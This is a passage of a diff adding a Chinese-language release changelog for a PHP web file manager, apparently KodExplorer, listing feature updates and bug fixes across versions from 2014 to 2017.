+- 为安全考虑,仅支持分享自己的文档;分享其他目录进行提示!
+- 分片上传优化成0.8M
+- 群组目录;群组分享目录;管理员或有权限访问读写权限统一处理
+
+#### fix bug
+- 部分windows服务器,数据写入失败问题解决
+- 分享分享过期判断处理
+- office预览弹出层打开。
+- 编辑器编码识别优化
+- 树目录删除文件提示文字信息有误问题
+- 修复右键菜单修改排序字段,排序方式时会有数据不完整情况。
+- 登陆界面忘记密码对话框挡住问题
+- 编辑器编码自动识别,编辑并保存兼容更多编码。
+- ie部分显示兼容问题优化
+- 旧版本3.22版本,windows服务器下升级不成功问题优化
+
+
+### ver3.38 `2017/3/1`
+-----
+#### update:
+- 图片打开缩略图列表懒加载优化
+- 群组权限默认为可读写
+
+#### fix bug
+- 修复部分文本文件编码识别错误问题
+- 登陆重定向过多问题:session可写进一步判断。
+- 树目录新建文件夹取消再删除会删除home问题
+- 部分浏览器;编辑器选择内容时会全选问题
+- 分享页面音乐播放问题;视频播放title不全问题
+- 授权版组织架构不显示
+- 系统设置——错误提示位置问题,加入关闭按钮。
+- 移动端对话框绝对位置问题
+- 树目录文件名排序问题;排序模式优化(首次打开没有排序);收藏夹、组织架构不排序
+- office编辑保存权限处理;没有权限则只读
+- office在线编辑新页面打开,文件格式完善;分享页面&分享目录下文件预览;
+- 上传大文件,同名文件处理策略没有按配置方式
+- 上传大文件断点续传优化;上传大文件有概率出现内容错误问题
+- 文件频繁读写内容出现异常的问题优化
+- 上传优化:滚动条自动滚动;全部取消-清空已完成
+- 已经授权的版本,文件分享页面版权修改提示误判
+
+
+### ver3.37 `2017/1/1`
+-----
+#### update:
+ - 部分主机兼容:不支持相对路径问题;iconv系统库补全兼容处理(压缩时压缩失败);不兼容777权限问题优化;incluce_once导致更新覆盖不了问题
+ - 移动端优化;loading效果加入;移动端默认隐藏桌面;去掉title的hover效果
+ - 桌面优化:自适应图标间隙高度;优化图标大小范围
+ - 同名文件默认覆盖
+ - 自定义公共目录名称:使用群组名称(如果name不等于public)
+
+#### fix bug
+ - 下载链接rewrite默认关闭;修复部分主机打不开pdf,office文档问题
+ - 错误提示统一处理;超时时间优化;不再检测connected状态
+ - 输出清空之前缓存(show_json,验证码,文件下载,显示模板)
+ - 用户管理界面:用户名宽度加宽;授权版支持批量添加用户
+ - 自动更新优化,更新失败相应处理;util.js误判问题修复;
+ - 前端处理 app_host;web_host兼容部分反向代理设置;上传等问题解决
+
+
+### ver3.36 `2016/12/31`
+-----
+#### update:
+- UI样式各个细节兼容性调整;ie8图标优化;移动端样式优化;右键二级菜单位置优化(点不到问题)
+- 文件(夹)可读写检测兼容性增强;兼容docker、虚拟机挂载目录读写判断
+- 大于4G文件大小获取错误;下载失败问题
+- 移动到回收站——window文件夹新建特殊字符处理;文件名不允许字符检测 win,linux各自检测;群组文件删除,移动到自己的回收站;
+- 剪切文件夹,数据不完整处理(遍历问题,删除文件夹导致遍历中断)
+- 文件上传分片大小默认设定,可以自定义上传分片大小;提高上传超大文件的成功率
+- 文件夹拖拽上传,文件夹含超过100个时丢失问题;(文件夹内含有软连接会忽略)
+- 分享——文件属性(md5懒加载;图片尺寸查看)
+- 下载链接优化,采用类伪静态地址;第三方软件下载时文件名能更友好
+- 通用音效设置处理,增加用户设置开关,默认关闭
+- 视频播放自适应宽度高度
+- 文件打开历史记录:不存在时自动关闭标签;浏览器用户数据存储——区分用户id[]
+- 输出缓冲区统一处理,兼容下载文件等操作含BOM的影响;
+- 分享页面多语言设置
+- 游客打开pdf问题优化,移动端打开pdf自适应优化
+- 扩展应用;应用中心样式修复;ie11新建应用导致丢失问题;含双引号的应用无法添加问题;
+- 应用编辑,增加首次打开全屏选项;全屏应用取消全屏大小调整优化
+- 双击文件名重命名功能加入
+- 时间戳统一成24小时制式
+- 文件下载优化:
+ - 中文文件下载win下文件名乱码修复;
+ - firefox下载文件,文件名含有空格截断问题
+ - 下载大文件,兼容部分服务器反应慢问题;断点续传优化
+- 编辑器优化:
+ - php文件编辑注释错误;(php,js注释错误;css,html正确);自动补全 php-html-js-css; php--html_worker;
+ - 编辑器新增php代码格式化功能;(缩进处理,空白字符处理;)
+ - 编辑器关键字去掉加粗,优化部分浏览器光标问题
+ - 中文文件打开乱码问题优化;utf8有bom及无bom、GBK,Unicode等文本编码自动识别
+ - markdown快捷键只用于md模式中;markdown公式支持更新(编辑器;分享页面)
+- 跨系统含中文,解压缩优化
+ - win下压缩,上传到(linux/windows);解压自动识别编码
+ - linux下压缩,上传到(linux/windows);解压自动识别编码
+ - linux访问(linux/windows)服务器,下载文件夹压缩编码自动识别
+ - windows访问(linux/windows)服务器,下载文件夹压缩编码自动识别
+- 自动更新优化
+ - 升级失败问题优化
+ - 用户组根目录home建立
+ - 显示用户目录、显示用户组目录;中文处理(新建用户,删除)
+ - 去除代码加密;安全狗误报问题优化($_REQUEST[''])
+ - 禁止列目录检测
+
+#### fix bug
+ - 编辑器:树目录多一个undefined问题
+ - 文件(夹)移动、删除到回收站;————兼容不在同一个磁盘
+ - 搜索:文字超出部分处理;未知文件打开下载不了问题修复
+ - 用户组上传权限对管理员开启。虚拟目录读写权限判断优化
+ - 登陆偶尔ajax报错;登陆页空flash闪烁
+ - 对话框关闭,偶尔闪烁问题修复
+ - 其他用户分享根目录不允许删除
+ - 图片旋转,php环境不支持提示
+
+
+
+### ver3.35 `2016/12/17`
+-----
+#### update:
+ - 文件管理新增及优化
+ - 虚拟目录加入:用户根目录——回收站,我的共享,我的收藏,我所在的群组,全部群组;支持文件列表查看,支持收藏
+ - zip解压缩跨平台中文乱码解决(解压时,支持自动识别压缩文件内部文件编码;压缩时自动判断浏览器编码自适应到中文)
+ - zip解压缩,新增支持解压到:当前文件夹,同名文件夹,指定选择文件夹
+ - 同名文件处理 【上传、粘贴、拖拽;统一设定————重命名、覆盖、跳过;默认重命名(都保留)】
+ - 文件列表显示,文件名、创建时间等宽度可以调节;服务端自动保存配置
+ - 文件列表新增自然序排序;支持中文数字排序【更智能的文件排序,支持中文数字排序】[树目录&文件夹]
+ - 大目录分页加载支持【滚动到底部自动加载】,优化打开含有超过1万的文件及文件夹的目录:秒级打开
+ - 文件列表图片懒加载;自动加载屏幕可视区内容。避免图片过多载入慢的情况;加载失败时再次尝试加载
+ - 多选后右键加入 "复制到","移动到" 选择指定文件夹
+ - 幻灯片播放:新增支持图片旋转功能;增加图片当前位置;加入全屏功能
+ - pdf浏览支持html5方式
+ - 文件icon优化:高清重置图标,支持retina;缩略图优化,支持超大图标;icon共享(文件图标,任务栏,树目录,编辑器,标题栏等)
+ - 系统图标:收藏、发送到快捷方式、地址栏;统一对应图标
+ - 分享、快捷键等图标统一meta标签支持
+ - 拖拽增强:新增拖拽到回收站——删除;拖拽到地址栏——复制or粘贴;拖拽到树目录——复制粘贴,ctrl拖拽复制到指定文件夹
+ - 下载权限弱化:禁用下载权限后,任然可以获取文件内容,查看图片,pdf,视频,音乐等在线浏览功能
+ - 树目录自动记录第一层级打开关闭状态;同时记录编辑器;文件打开对话框等
+ - 新增状态栏:当前文件夹项目数、选中数展示
+ - 文件属性,增加查看文件md5;图片文件支持查看图片尺寸;大文件md5延迟加载
+ - 当前目录变更;左侧树目录对应状态选中;编辑器同理 (path相同则忽略——避免树目录多个存在)
+ - 文件管理菜单栏优化:功能下拉增加『加入到收藏夹』;自动针对当前目录类型,读写情况功能适配
+ - 发送到桌面快捷方式:支持文件、文件夹、虚拟目录等创建桌面快捷方式
+ - 收藏夹:添加取消收藏采用局部刷新;支持收藏文件、回收站、用户分享、群组等虚拟目录;对应不存在则提示
+ - 收藏夹、全部群组、用户共享、自己的群组等虚拟目录的列表查看;和树目录展开保持一致;是否有子目录处理
+ - 桌面优化:内容过多时允许滚动条;框选优化;捷键键问题修复,上下左右,shift Ctrl多选
+ - 随机壁纸获取;精选壁纸;切换后自动下载到home/picture/wallpage 文件夹;兼容https
+ - 下载链接,分享链接;对话框内含iframe;加入二维码
+ - 桌面回收站空&满,状态自动更新
+ - 左侧树目录宽度修改后支持配置保存服务器
+ - 打开文件夹管理时,焦点选择优化;快捷键等定位到当前焦点
+ - 重命名或新建文件&文件夹,名称过长时高度自适应;新建文件、文件夹支持同名策略
+ - 文件过多时,框选优化;自动滚动屏幕
+ - 文件拖拽UI简化;多选拖拽对不同状态进行优化展示;动画效果加入
+ - 框选优化:框选到某个元素弹起时该元素也选中;文件框选最后一个没有选中问题
+ - 回收站,多选右键菜单不恢复问题;回收站删除问题。新增:加入文件右键——彻底删除;
+ - 文档目录发生变化(新建,删除);左侧目录自动更新;
+ - 树目录优化:文件夹有子目录没有展开选项;树目录展开文件夹loading状态优化;树目录icon优化;地址栏处理
+ - 树目录创建副本问题:文件夹副本需要刷新父节点
+ - 树目录优化:文件浏览则——单击打开该目录&双击展开收缩;文档编辑——单击则展开收缩
+ - 解决树目录新建文件、文件夹时,该节点未展开时状态错误
+ - 文档列表html模板简化啊,文件分离;优化图片picasa浏览
+ - oexe图标问题;markdown pre 中文字体;
+ - 前进后退优化,改为客户端维持,多窗口独立自己的前进后退列表;前进后退历史记录问题处理
+ - 权限提示优化:目录不可写or只读 菜单栏及右键菜单功能屏蔽;目录不存在时提示;
+ - 文件重命名支持大小写[mac-ok;linux,windows]
+ - 文件输出加入缓存机制;针对变化才重新输出
+ - 文件下载优化:实时检测是否下载完成(兼容url读取一直没有中断问题)
+ - 拖拽:非文件、url、网页文件、文本【上传dialog——只有文件才处理;没有上传权限则不提示上传选项】
+ - 非web目录,右键浏览器打开:给出提示
+ - 新建文件&文件夹;自动滚动到可视区
+ - 重命名:textarea双击——不再处理
+ - 路径命名优化:支持%20、?、&、+ 等特殊字符
+ - 文件管理快捷键优化:上下左右、上下翻页、shift组合选择。(解决判断快捷键焦点问题)
+ - 快速新建文件,网络访问慢导致文件重名问题解决。
+ - 新建office文档;office文档预览(所有支持的列表);内网实现预览(服务端转换——pdf)
+ - 虚拟目录多选操作右键菜单:收藏夹;我所在的组、全部组;我的共享
+ - 虚拟目录选中(多选)快捷键操作:屏蔽删除、复制、剪切、重命名
+ - 文件图标排列时,高度自适应,文件名最高四行文字;(桌面特殊处理);拖动到指定文件夹放大效果
+ - xxs问题优化:文件名特殊处理,对应地址栏、树目录、重命名展示、分享等展示的地方统一做处理
+ - 新建文件,重命名文件;(icon,自动高度后 优化;图标和列表模式)
+ - 不同类型目录之间切换:单选、多选;右键菜单还原(目录、回收站、分享目录、收藏夹、所有群组、我的群组等)
+ - 中文优化:win下分享含有中文问题;自定义用户目录中文等乱码问题解决
+ - 时间戳统一成24小时制式
+ - 文件列表模式增强:
+ - 支持含有子目录的文件夹多层级展开
+ - 列表方式:含有双击展开的目录,没法展开&收回树目录
+ - 刷新:记录上次展开内容(右键、新建、重命名后、删除后、解压缩、安装app、下载、上传--优化)
+ - 快捷键支持:上下选择,左右展开;ctrl+shift多选问题解决;框选
+ - 跨目录多选后:移动;复制;剪切;压缩 [父文件夹及子目录都选择则移除子目录及文件]
+ - 内容过多加入展开全部查看——进入该目录
+ - 文件分栏模式
+ - 支持目录分栏模式,类似于mac系统的Finder管理
+ - 分栏宽度可随意调节,并自动记录每一栏的宽度
+ - 依次展开到多层,单击&双击--打开文件夹
+ - 当前目录焦点自动切换,突出选中链路的层级关系;并根据当前目录特性更新右键菜单、工具栏。
+ - 选择:上下选择,左右展开;ctrl+shift多选,支持跨目录选择;框选锁定在当前焦点目录
+ - 刷新:刷新指定栏——获取所在栏(右键、新建、重命名后、删除后、解压缩、安装app、下载、上传--优化);
+ - 操作层级:始终在最后一个(G.thisPath);否则清除后面层级,(点击,层级点击,打开文件)
+ - 虚拟目录不允许拖拽(分享内容,回收站)
+ - 不允许拖拽到虚拟目录:收藏夹根目录;我所在的组;全部组;我的共享[允许:回收站、我的组]
+ - 我的收藏、回收站、我的共享等虚拟目录根目录文件列表右键菜单固定(split焦点切换时优化处理)
+ - 分享优化
+ - 分享文件夹,支持设置可以允许别人上传【可用于提交作品】
+ - 分享列表查看访问量,别人访问时浏览量记录
+ - 分享页面、目录等细节调整,优化flash文件不显示问题
+ - 分享目录,列表排序模式等客户端自动记录
+ - 下载权限和预览权限弱化;【可以预览,但限制下载】
+ - 自己共享、别人共享、群组空间、群组共享【对应右键菜单处理,菜单处理】
+ - 分享根目录工具栏、右键菜单处理(区分自己和其他人);
+ - 自己的分享加入标签;默认直接分享(名称已存在则弹出层);——已分享则弹出编辑。
+ - 分享时间上午下午未区分问题
+ - 分享已存在,则自增文件名并创建
+ - 分享已删除对应提示:该分享指向的文档不存在
+ - 文件夹共享编辑器:同步界面及相关工具栏
+ - 编辑共享:展示密码;过期时间
+ - 用户分享目录处理;是否存在处理,查看二级目录path问题。
+ - 分享优化:别人的分享目录:右键简化——编辑共享;取消共享
+ - 播放器优化
+ - 全新的视频播放器,支持格式:mp4,m4v,mov,ogv,webm,webmv,flv
+ - 全新的音乐播放器,支持格式:mp3,wav,m4a,aac,ogg,oga
+ - 支持html5及flash自动切换,ie8+,safari,firefox,chrome等主流浏览器
+ - 视频播放,根据视频宽高自动调整尺寸;
+ - 音乐播放器支持音乐列表;多选文件,右键可添加到播放列表:视频自动过滤
+ - 跨窗口播放;分享音乐视频文件页面适配
+ - 移动端优化:
+ - 移动端支持和电脑端相互切换
+ - 支持文件夹下载
+ - 移动端搜索优化
+ - 展示优化:时间处理,左侧路径完善
+ - 图片显示缩略图
+ - 图片幻灯片播放
+ - 文件上传支持多选;上传ui优化。
+ - 目录可读写区分;操作目录菜单根据可读写进行展示隐藏;
+ - 工具栏下拉菜单功能根据当前目录可读写进行展示隐藏;
+ - 文本文件打开则进入编辑状态
+ - 上传优化
+ - 修复上传时切换目录导致上传到其他地方问题
+ - 客户端分片上传,不再受限于服务器各种配置限制;分片失败自动重传
+ - 改进某个文件夹内容大于100个的限制;(文件夹内含有软连接会忽略)
+ - 支持断点上传(上传失败,浏览器刷新,即便是换电脑,只要是同一个文件,都会接着上次上传的位置继续上传。)
+ - 小于1k文件大小显示错误,解决大小为0文件上传失败问题
+ - ie9+ 拖拽上传兼容性调整:未打开对话框时拖拽不生效问题
+ - webkit内核浏览器支持文件夹拖拽直接上传(保持目录结构)
+ - 选择文件夹上传(支持webkit内核浏览器)
+ - flash上传失败问题;(采用分片上传),解决ie上传分片问题
+ - 上传速度显示优化,进度精确到小数点后一位
+ - 解决上传失败问题:拼接错误,百分比乱跳【nginx post限制——导致每个包都上传失败;配置最大上传分包】
+ - 上传大小限制:用户&群组;空间大小记录&上限处理 【上传、远程下载、从回收站删除,剪切——粘贴(是否自己空间——加减)】——组没有回收站
+ - 编辑器优化
+ - 鼠标中键多光标选择,ctrl+shift+G多选模式
+ - 中文全编码支持,告别乱码(自动识别编码,编辑后保持之前编码)
+ - 记录文件打开历史纪录:并自动打开;并按项目区分;新打开不存在则提示
+ - 状态栏显示:当前行、列、选择时光标位置、多光标选择等、选中内容长度;切换语言高亮语法
+ - 打开新文件时自动显示编辑器并提到最前面
+ - 增加代码格式化功能【js,css,html,php 可以格式化选择部分;没有选中则格式化整个文档】
+ - 函数列表匹配优化;全功能匹配php,javascript;支持快捷搜索;函数部分正则匹配卡死问题,增强函数匹配功能(js,c,php等)
+ - 支持扩展名增强;150种语言
+ - 搜索优化;支持批量选择同时编辑(同sublime快捷键:ctrl+win+G)
+ - 代码主题切换,自动适应整个编辑器主题切换;风格融为一体
+ - 工具支持:显示隐藏行号,功能扩展,转换为tab/space
+ - 修复chrome53以上中文输入错乱问题
+ - 切换代码高亮风格,支持搜索快捷定位
+ - 选中部分显示不可见字符(css文件内容优化)
+ - tab优化:文件类型图标展示;tab宽度自适应调整,新建关闭时动画展示;鼠标中键关闭
+ - 中文异常换行问题(死循环问题)
+ - wrap自动换行后一行空位为初始行加上tableSize,底部高度优化
+ - 调整窗口时;函数列表宽度固定(百分比计算)
+ - 多光标;中文输入丢失多光标状态问题;修复中文光标错位问题
+ - 编辑器预览&函数列表每个多标签独立对应。保存修改刷新等加入独立loading
+ - 编辑器弹出层,标题显示当前文档名称;浏览器打开编辑器弹层&对应打开相应文件
+ - html模式支持emmet,快速编码;编辑器底部加入空行
+ - 代码自动补全支持php文件中 php css html等各自的代码混合补全
+ - php文件,注释和取消注释和html混淆问题
+ - php在线编程体验优化,支持所有php函数及关键字自动提示;
+ - 新建文件保存,选择保存位置并自动更新
+ - 修复首次文件打开输入出现两次的bug
+ - 左侧树目录新建问题
+ - 文件管理中编辑文件,最大化窗口编辑器最下面行遮挡住问题
+ - 选择内容,鼠标移出浏览器事件依旧保持【解决窗口事件丢失问题】
+ - 搜索增强,实时显示搜索结果数,及展示当前位置
+ - 公共搜索框;多标签切换搜索数据自动重置(一次弹出,所有地方共用,搜索框对应编辑器尺寸变化;所有地方可以关闭)
+ - 搜索历史记录记住;(上下切换历史记录;开启搜索未选中词时,默认展示最后一次搜索内容;搜索历史记录下拉列表)[local_storage]
+ - 搜索设置配置保存 (正则;大小写;全词匹配)
+ - 文档含有引号创建快捷方式转义处理;打开文件dialog头部生成二维码连接及url处理
+ - 解决部分apache配置原因导致php-mode.js加载失败问题 php-mode重命名为phhp-mode;
+ - API支持
+ - 通用文件夹、文件选择弹框
+ - 支持限定选择文件、文件夹或混合类型;支持限定文件扩展名
+ - 支持单选、多选;
+ - 选中状态自动适应到界面;选中后通用回调
+ - kod提供第三方应用同步登陆;支持指定用户名、用户组、权限组等方式登陆;其他系统能共享kod的登陆状态
+ - 第三方可以通过api方式进行某个用户的自动登陆; 便于集成到另一个系统
+ - 支持markdown
+ - 支持markdown文档实时编辑预览;导出网页文件;markdown文档分享则自动转换。
+ - 自动开启预览;预览去除动画进出;函数列表自动开启关闭;
+ - 滚动条自动跟随;markdown全屏预览取消scroll跟随
+ - LaTeX公式支持;行内公式、块级公式;高效率自动绘制;延迟解析
+ - 根据编辑器主题自动生成对应的风格
+ - markdown分享页面;TOC连接点击
+ - markdown工具栏支持;插入图片支持从文件选择;自动生成图片外链
+ - 搜索增强
+ - 文件夹搜索,速度优化(先文件扫描);自动终止搜索(搜索时间计时;超过10s则提示;可取消搜索)
+ - 搜索列表:点击文件对应打开文件或文件夹;支持进入文件所在目录
+ - 搜索文件内容,展示每个文件搜索到的项目,点击自动跳转到所在位置,并且可以继续搜索
+ - 搜索文件新增全文搜索,支持罗列所有搜索项【对话框展示,搜索按行搜索,避免内存占用问题】
+ - 搜索结果显示行数,点击能直接定位到指定位置。
+ - 增加组织架构
+ - 创建编辑用户组——父组,可以手动下拉树选择;添加用户选择组同一功能
+ - 用户组管理:右键用户【查看,删除-禁用-启用;移除该组,权限设置为】
+ - 用户多选批量【禁用,解除禁用;移动到组,添加到组,设置权限角色为,设置用户空间】
+ - 权限设置:下载权限和预览权限分开。默认有预览权限、但没有下载权限//];下载统一不暴露url地址,path_id
+ - 支持用户、群组空间大小设置;用户&组空间使用情况;
+ - 支持自定义群组所在目录;
+ - 支持自定义用户所在目录;
+ - 其他优化
+ - 全面适配htts;
+ - 增加win10主题;新增炫彩系列主题;用户也可以自定义主题风格
+ - 炫彩主题增强:背景——渐变色配色 [开始颜色,终止颜色,旋转角度];背景图片——自定义;选择;跟随壁纸,是否模糊
+ - 通用对话框优化:最大化、还原、最小化、显示、隐藏加入动画
+ - 用户配置数据本地存储 localStorage cookie相互兼容
+ - tips控件优化;tips允许重复;loading公用一个;统一后端错误提示
+ - checkbox radiobox ui优化
+ - 可以设置开启关闭回收站
+ - 对话框事件焦点优化(打开多个文档管理,快捷键等响应到当前)
+ - 优化拖拽超出当前iframe或者浏览器后事件丢失问题【框选,选中拖拽,tab拖拽,dialog拖拽,editor选择等】
+ - 更新播放器,拖拽进度条出错的问题。
+ - 安装初始化用户目录及公共组:默认用户目录随机生成;【admin/demo/guest;public】;默认数据设为空;安装判空
+ - 右键菜单优化:宽度自适应
+ - 分组没有子目录则不显示组织架构【只显示公共目录】
+ - 复制粘贴;来源和目标权限检测冲突解决。
+ - 全面隐藏用户真实路径【回收站、树目录、搜索、共享目录查看、文件列表、浏览打开——只有管理员才有web目录结构————html打开等】
+ - office预览如果是内网或domain不为外网 则提示购买【iframe——提示信息】
+ - office 本地转换预览,office预览支持自定义
+ - 应用列表:应用内容更新优化(不可访问部分删除)
+ - 权限分离:角色创建分离————编辑、删除、修改;添加用户限制不能是管理员[]
+ - 群组访问地址栏优化;tips;树目录及地址栏icon:访客,组用户只读,组用户读写
+ - 群组不同权限的图标有所不同【不在组,在该组,组管理员】
+ - 权限设置:去掉群组、用户管理配置;
+ - 域名转发:APPHOST兼容性调整 分享地址、文件属性打开地址等等
+ - 允许在iframe下使用。【文本打开;setting;应用程序;artdialog.though】
+ - 增加iframe下文件查看类型【type=explorer|file_list】//文档查看、文件列表
+ - firefox:右键菜单子菜单问题;设置——用户管理弹出层尺寸拖动问题
+ - 设置部分,后端模板文件处理成前端模板
+ - 全局字体调整;用em作单位
+ - 各种错误提示优化,更好的兼容php各种环境;
+ - 首次登陆目录不可写提示,登陆页面多语言选择
+ - 登陆页面密码找回提示;管理员密码快速找回;
+ - 验证码复杂性增强
+ - 没有GD库则【关闭验证码;图片直接输出-不生成缩略图】
+ - 登陆:ajax方式(成功&失败)[失败原因码——验证码:换图片;输入框焦点设置]
+
+#### fix bug
+ - 重命名 textarea框过大问题
+ - ie访问时,添加收藏夹含中文导致清空bug
+ - dialog 标题过长,导致大小错乱问题
+ - oexe 重命名取消扩展名问题
+ - 解决超过2G文件大小异常问题
+ - 修复密码不支特"#"等殊字符问题
+ - 键盘文件首字母快捷选择文件,bug修复。
+ - ie 兼容问题。ie透明背景处理【css皮肤不加载-使用默认】
+ - firefox兼容性优化:选中文件后拖拽问题(没有hover),插入style样式不生效问题
+ - Safari兼容性优化:对话框打开尺寸错位问题;加载文件时loading位置问题
+ - chrome兼容性优化:错位问题:编辑器开启搜索,当搜索不在屏幕区域会撑开头部,53版本编辑器输入中文问题解决
+ - session 重定向循环问题 【本地session-cookie和服务端不一致】
+ - ie8 兼容性优化
+ - ie11重命名,点击input失去焦点。
+ - ie中文文件(夹);收藏夹名称;用户名;xxs兼容性调整
+ - 列表时文件夹展开图标不可见
+ - split文件夹右侧图标不可见;点击展开无效
+ - 拖拽时hover状态丢失;
+ - pie ie678界面兼容处理(圆角;background-size;透明度)
+
+
+
+### ver3.21 `2015/10/25`
+-----
+#### update:
+ - 编辑器函数列表匹配优化;底部高度优化
+ - 文件文件夹属性:文件下载地址:下载临时地址【永久下载地址、临时下载地址】
+ - 扩展名限制优化
+ - 防止暴力请求
+ - 远程下载优化,只产生一个临时文件;下载界面关闭则自动停止
+ - 编辑器刷新功能
+ - office预览支持自定义
+ - 右键菜单优化:按钮下后松起在菜单上则触发对应动作(参考mac右键菜单处理)
+ - 移动端适配
+ - 1.列出目录
+ - 2.手机,pad打开页面时,默认进入手机版本
+ - 3.菜单处理
+ - 4.文件打开预览处理
+
+#### fix bug
+ - 远程下载windows下重命名失败问题
+ - 自动更新失败问题
+ - 编辑器 中文光标错位问题
+ - 修复https访问
+ - ie8 登陆页面白色背景问题;(没有背景图片);桌面背景图片缩放问题
+ - ie下载文件,中文文件urlencode问题(windows——服务器;浏览器——ie)
+ - 回收站非admin文件属性;路径隐藏
+ - 文件夹权限修改bug
+ - 文件创建快捷方式打不开修复
+ - 我的分享——图片不显示
+ - window创建txt(GB2312)——utf8打开写入内容后上传——分享后打开url乱码
+ - 清空上传列表(出错失败的清空不了)
+ - 修改密码、添加用户……data目录没有写权限出错提示
+ - ie8 9上传失败问题
+ - 火狐选中问题
+ - 右键菜单分栏line导致右键菜单消失
+ - 分享去掉jiathis
+ - 编辑器 左侧树目录新建问题
+ - 重命名 textarea框过大问题
+ - 目录分享:带有音乐文件,双击打开会有二次数据,导致无法播放
+ - 视频播放关闭问题
+
+
+### ver3.12 `2015/3/31`
+-----
+#### update:
+ - 兼容ie中文,导致菜单保存丢失问题
+ - 用户没有权限,提示优化
+ - 用户配置数据保存,写入失败提示
+
+#### fix bug
+ - 分享mp3,音乐播放路径问题
+ - 火狐bug修复
+ - 分享页面、文件夹;office预览问题
+ - 编辑器
+ 中文光标错位问题
+ tab 宽度根据标签个数自动缩放(ie 火狐不兼容问题)
+ 当前文件路径对应到title;
+ 工具栏火狐兼容性bug
+
+
+### ver3.1 `2015/3/26`
+-----
+#### update:
+ - 分享可以修改路径;避免文件移动后原始分享路径失效问题
+ - 分享后自动刷新当前目录;跟新配置数据
+ - 文件管理 当前文件夹不可写,对应右键菜单功能屏蔽
+
+#### fix bug
+ - cookie自动登录失败,导致页面css丢失问题
+ - cookie路径导致语言设置失败问题
+ - 应用中心css丢失问题
+ - 解压不了、权限验证过于严格问题
+ - 左侧树目录被底部盖住问题
+ - 分享office不能预览问题
+ - 群组;群组列表选择错误
+ - 菜单编辑中文部分乱码
+ - 图片预览优化
+
+### ver3.0 `2015/3/23`
+-----
+#### update:
+ - 文档分享[文件、文件夹分享;支持添加密码;文件分享支持多种格式在线预览]
+ - 回收站;(避免误删除)
+ - 系统设置(自定义程序的一些配置)
+ - 头部菜单管理
+ - 文件夹下载,多选批量下载
+ - 数据全面安全优化
+ - 上传优化:
+ - 分片上传,不再受php.ini环境限制;
+ - 加入上传速度
+ - 上传目录:随着当前目录变化而变化。
+ - 上传完成可点击,进入文件所在目录
+ - 界面简化(不显示切换到当前目录;保存路径不要,列表不自动删除;不需要最大化,以及调整窗口大小)
+ - 上传;总status ——放到标题栏
+ - 大文件分片上传尝试(失败情况处理)
+ - 上传文件夹:不刷新f5 - 最后刷新
+ - 显示文件名,大小;
+ - 允许重复文件上传
+ - 上传前可以删除
+ - 进图展示优化:显示文件大小、速度、完成进度
+ - 编辑器:
+ - 编辑器 函数列表;c9 IDE;展示并定位;实时更新:php function、js:function
+ - 函数列表开启与关闭配置
+ - php代码自动补全 缺少关键字部分
+ - 下拉列表;点击其他地方则消失
+ - 非txt则open;不能open则tips bindary:fla ...;右键加入:强制编辑
+ - 字体优化
+ - 修复github主题光标位置错位问题(选中、编辑都会出现)
+ - 离线下载优化:加入取消机制;避免持续执行;显示文件大小、速度、完成进度
+ - 图片缓存,按照文件MD5来缓存;与路径无关
+ - 文件列表,hover的title更多详细信息展示
+ - 对话框,标题栏右键加入:刷新、新窗口打开
+ - 对话框双击最大化、取消最大化(只对可以缩放的对话框有效)
+ - 对话框最大化、最小化对话框放大按钮图标改变
+ - 权限前端验证(上传等 上传格式前端限制);前端检测 - 新建、上传、删除
+ - 设置中心 - -用户管理 非管理员显示优化
+ - 公共js部分采用动态调用方式;后续优化可由js完成前端MVC
+ - 文件、文件夹创建快捷方式
+ - 文件夹创建工程项目
+ - 未知文件打开提示、不自动下载
+ - 右键菜单:加入字母快捷打开
+ - 右键自适应:隐藏 - -zip - 视频;多选时:含有视频音频文件时才显示——加入播放列表
+ - 右键触发到菜单上(暂时修改jquery-contentMenu 屏蔽右键按下移动触发菜单功能)
+ - 拖拽优化:框选、tasktap切换;选中其他文字问题;性能问题
+ - 框选文件,超出屏幕则自定滚动选中;屏蔽文字可以被选中的问题
+ - simple主题,界面UI优化
+ - seajs text:tpl修改为html;
+ - 统一走proxy;隐藏真实地址;web_root,web_host,
+ - 统一proxy后,office打开权限问题解决:加密方式生成临时访问地址
+ - 播放器更多格式支持:wmv、avi、mpg等
+
+#### fix bug and 优化:
+ - win下 中文路径导致的问题处理
+ - public中拖拽问题 复制粘贴问题
+ - 桌面任务栏,右键菜单绑定丢失问题
+ - 对话框,标题栏右键菜单不显示问题处理
+ - 用户名支持中文
+ - 密码含有特殊字符bug处理
+ - 播放器解决第一次打开有时候无法播放的问题。
+ - 桌面新建位置问题;列表在不同情况下新建问题。始终放在最后
+ - firefox兼容性 mac兼容性;ie9 10兼容性;
+ - appstore 创建、修复只允许管理员操作,显示优化
+ - app创建,js代码类型时,单引号导致不可用问题。
+ - 循环跳转 session判断 if(!isset($_SESSION)){session_start();}
+ - win下 中文扩展名导致获取目录列表问题:扩展名获取优化
+ - 编辑器保存 ajax 异步请求。loading
+ - 上传目录错误问题;(上传到了其他目录 ie8 中文)
+ - 优化mac下gd库支持
+ - 窗口拖动到task之下,出不来问题。top大于一定值则锁定
+ - 多个同域名;登录退出互不干扰
+ - office变更 https://view.officeapps.live.com/op/view.aspx?src=
+ - appstore icon方式;默认减少;
+ - 列表模式:重命名oexe没修改但自动加入了;(oexe不显示)
+ - 非管理员,zip压缩导致文件名被截断问题修复;win-win 中文解压缩处理;mac-mac中文解压缩处理
+ - 下载有BOM问题
+ - wwwroot识别问题;
+
+#### fix bug 3.01 beta1:
+ - 新建用户下拉菜单出不来问题
+ - 分享bug
+ - 设置中心:开启游客ui兼容性问题
+ - demo用户 office预览————关闭了下载功能---tips
+ - 文件右键菜单:zip和浏览器打开替换
+ - 公共目录public不显示
+ - 分享打开后有错误;点击不了生成按钮
+ - 默认开启下载权限
+ - 分享者禁止了下载;下载功能----
+ - 登录页面底部copyright隐藏
+ - 管理目录 标题栏显示对应的文件夹名称
+ - 根目录 继续上级则提示
+ - 没有下载权限;前端验证
+ - 修复分享打开后出现校验权限失败问题
+ - 公共目录分享;树目录点击对应文件列表展示问题
+ - 分享页面cookie存储配置问题
+ - 分享页面:文件预览权限更随下载权限
+ - 分享修改时覆盖前一个分享的问题
+
+
+
+### ver2.8 `2014/11/23`
+-----
+#### update:
+ - 上传控件优化
+ - 兼容性优化;支持ie8以上
+ - 更新font-awesome到最新版本
+#### fix bug:
+ - 安全优化
+ - 上传图片取消大文件压缩选项
+ - 优化部分操作下显示问题
+
+
+### ver2.73 `2014/9/17`
+#### fix bug:
+ - 安全优化补丁
+
+
+### ver2.72 `2014/9/16`
